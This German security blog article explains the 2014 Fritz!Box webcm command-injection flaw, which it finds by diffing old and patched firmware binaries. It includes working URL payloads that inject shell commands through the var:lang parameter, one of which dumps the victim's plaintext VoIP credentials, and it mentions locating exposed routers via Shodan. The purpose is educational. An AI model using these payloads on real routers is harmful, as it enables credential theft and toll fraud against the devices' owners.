Realtime-Attack-Map
SURICATA / LIVE FEED

Fritzbox Exploit

Die schnellste Methode, Sicherheitslücken zu finden. An einer Fritzbox praktisch demonstriert.

Fritzbox Exploit

Beim Reverse Engineering moderner Software ist es selten die Frage, ob sich ein Programm verändert hat, sondern wo genau. Gerade bei sicherheitsrelevanten Updates steckt der entscheidende Hinweis oft im Detail: eine kleine Änderung im Kontrollfluss, ein zusätzlicher Check, ein gefixter Off-by-one-Fehler. Genau hier setzt der Binärvergleich an.

Statt blind nach Schwachstellen zu suchen, erlaubt der Vergleich zweier Versionen – etwa mittels BinDiff – eine gezielte Eingrenzung der Unterschiede. Die Grundidee ist simpel, aber wirkungsvoll: Wenn ein Hersteller einen Patch veröffentlicht, ist die Wahrscheinlichkeit hoch, dass genau die geänderten Stellen sicherheitskritisch waren. Wer diese Unterschiede systematisch analysiert, kann Rückschlüsse auf die ursprüngliche Schwachstelle ziehen – und im besten Fall sogar verstehen, wie sie ausgenutzt werden konnte.

Vorgeschichte

Es war der Februar 2014, als eine der schwerwiegendsten Sicherheitslücken in der Geschichte der AVM Fritz!Boxen bekannt wurde und tausende Nutzer mit horrenden Telefonrechnungen konfrontiert wurden. Da ältere Modelle wie die 7240 oder 7270 keine Updates mehr erhielten, blieben diese digitalen Fossilien dauerhaft verwundbar für einen Angriff, der so simpel wie genial war. Da ich diese alte Demonstration unlängst wieder vorgeführt habe, möchte ich sie den Teilnehmern hier nochmals als Artikel verfügbar machen. So können auch Interessierte, die nicht an dieser Veranstaltung teilnehmen konnten, diese simple Methode kennenlernen.

Digitale Archäologie im Firmware-Archiv

Um den Ursprung einer Schwachstelle zu verstehen, wird oft ein Blick in die Vergangenheit geworfen. AVM stellt glücklicherweise ein umfangreiches FTP-Archiv zur Verfügung, in dem alte und neue Firmware-Versionen für Forschungszwecke verglichen werden können.

Bei der Analyse der Firmware-Dateien fällt auf, dass sich nach einem Sicherheits-Patch oft nur minimale Änderungen an den Binärdateien ergeben. Ein prominentes Beispiel ist die Datei luacgi, die für die Verarbeitung von Lua-Scripts im Web-Interface zuständig ist.

-rwxrwxrwx 1 michael michael 50368 Dez 10 16:03 luacgi
-rwxrwxrwx 1 michael michael 50648 Feb 7 21:41 luacgi

Ein simpler Größenvergleich zeigt hier oft den ersten Hinweis auf eine Code-Änderung: Während die alte Version noch 50.368 Bytes wog, brachte die gepatchte Version plötzlich 50.648 Bytes auf die Waage – ein untrügliches Zeichen dafür, dass Sicherheitsprüfungen oder neuer Code eingefügt wurden.

Der Blick unter die Haube: Binary Diffing

Um exakt zu bestimmen, was sich geändert hat, kommt das sogenannte Binary Diffing zum Einsatz. Dabei werden die ausführbaren Dateien in einem Disassembler wie Ghidra oder mit Tools wie BinDiff gegenübergestellt.

Man sieht rechts sofort, dass Aufrufe fehlen.

In der Visualisierung des Kontrollflusses, dem sogenannten Control Flow Graph (CFG), lässt sich die Logik der Anwendung wie ein Straßennetz betrachten. In der verwundbaren Version der luacgi führten bestimmte Pfade direkt zu gefährlichen Systemaufrufen wie system() oder popen().

Ein direkter Vergleich der Binärdaten macht deutlich: In der neuen Version wurden diese Aufrufe konsequent entfernt oder durch sicherere Alternativen ersetzt. Besonders auffällig ist dies bei Funktionen, die Benutzereingaben verarbeiten. Wenn ein Programmteil ohne Filterung Daten aus einem HTTP-Request direkt an die Shell weiterreicht, ist eine Command Injection fast unvermeidlich.

Für die Ansicht der Fritzbox-Oberfläche soll die Sprache geändert werden können:

Daher suche ich mal durch die LUA-Scripte in der Firmware nach set_temporary_language und werde schnell fündig:

local currlang = box.post.language or ""
if currlang ~= "" then
box.set_temporary_language(currlang)

basic_first.lua

Super! Ich kann also einen weiteren Befehl anhängen in der Form ; echo -e "Hallo!". Na dann schauen wir uns die URL, mit der die Fritzbox Webseite aufgerufen wird, genauer an.

Die gefährliche Sprache der Variablen

Die tiefere Analyse der referenzierten Funktionen zeigt, dass die Schwachstelle eng mit der Verarbeitung der Sprachvariable lang verknüpft war. Diese Variable sollte eigentlich nur steuern, ob das Interface in Deutsch, Englisch oder einer anderen Sprache erscheint.

In der Software-Architektur der Fritz!Box wurde dieser Wert jedoch an einer Stelle verwendet, an der er ungesichert in einen Systembefehl eingeflossen ist. Über den Web-Management-Dienst webcm konnte dieser Parameter manipuliert werden.

Normalerweise sieht ein legitimer Aufruf so aus:

http://fritz.box/cgi-bin/webcm?var:lang=de

Durch das Einfügen eines Semikolons (;), welches in Linux-Shells als Befehlstrenner fungiert, konnte jedoch beliebiger Code zur Ausführung gebracht werden. Ein Angreifer konnte so die Kontrolle übernehmen, noch bevor eine Authentifizierung am Gerät stattgefunden hat.

Vom "Hello World" zum VoIP-Raub

Um die Lücke zu demonstrieren, reichte ein einfacher echo-Befehl aus. Dieser injizierte HTML-Code direkt in die Antwort des Routers und bewies damit die erfolgreiche Code-Ausführung (Remote Code Execution).

# Demonstration der Command Injection via var:lang
http://fritz.box/cgi-bin/webcm?var:lang=%3Becho%20-e%20"Content-Type:%20text/html\n\n<body>%20Willkommen%20bei%20Meister-Security.de%20</body><!--"

Was zunächst wie eine harmlose Spielerei aussieht, wird schnell ernst, wenn man bedenkt, dass die Fritz!Box alle sensiblen Daten im Verzeichnis /var/flash/ speichert. Ein Angreifer kann sich mittels ls eine Übersicht verschaffen und anschließend gezielt die Telefonkonfiguration auslesen.

# Auslesen der VoIP-Zugangsdaten des Opfers
http://fritz.box/cgi-bin/webcm?var:lang=%3Becho%20-e%20%22Content-Type:%20text/html\n\n%3Cbody%3E%22%20`allcfgconv%20-C%20voip%20-c%20-o%20-`%20%22%3C/body%3E%3C!--%22

In der voip.cfg finden sich Benutzernamen und Passwörter für die Internettelefonie im Klartext. Mit diesen Informationen kann sich ein Angreifer weltweit an einem Softphone anmelden und auf Kosten des Opfers teure Auslands- oder Mehrwertnummern anrufen – ein lukratives Geschäft für Cyberkriminelle, die so in kürzester Zeit tausende Euro erbeuten.

Das Internet der verwundbaren Dinge

Das größte Problem dieser Schwachstelle ist die Beständigkeit veralteter Hardware. Auch Jahre nach der Veröffentlichung des Patches lassen sich über Suchmaschinen wie Shodan problemlos Fritz!Boxen finden, die noch immer mit Firmware-Ständen von vor 2014 arbeiten.

Eine Suche nach avm 7240 oder ähnlichen Modellen liefert erschreckend viele Ergebnisse von Geräten, die direkt aus dem Internet erreichbar sind. Da für diese Geräte keine automatischen Updates mehr eingespielt werden und viele Nutzer das manuelle Update scheuen, bleiben diese Router offene Scheunentore.

Alte, verwundbare Firmware.

Wer solche Hardware heute noch einsetzt, handelt grob fahrlässig – außer man plant, das Telefonbudget des nächsten Monats als Spende an Kriminelle zu deklarieren. Mit einer manipulierten Webseite (keine Angst: Der Link führt zu einer Info-Seite 😅) könnte man die erbeuteten Daten einsammeln.

Fazit

Die Analyse der WebCM-Lücke zeigt eindrucksvoll, dass selbst kleinste Nachlässigkeiten bei der Verarbeitung von Standardvariablen wie der Sprachauswahl katastrophale Folgen haben können.

Durch Binary Diffing und die Identifikation entfernter System-Calls lässt sich die Historie solcher Exploits präzise rekonstruieren und für heutige Sicherheitskonzepte nutzen. Da für viele betroffene Modelle keine Patches mehr existieren, ist die einzige sichere Lösung die konsequente Stilllegung veralteter Netzwerkhardware.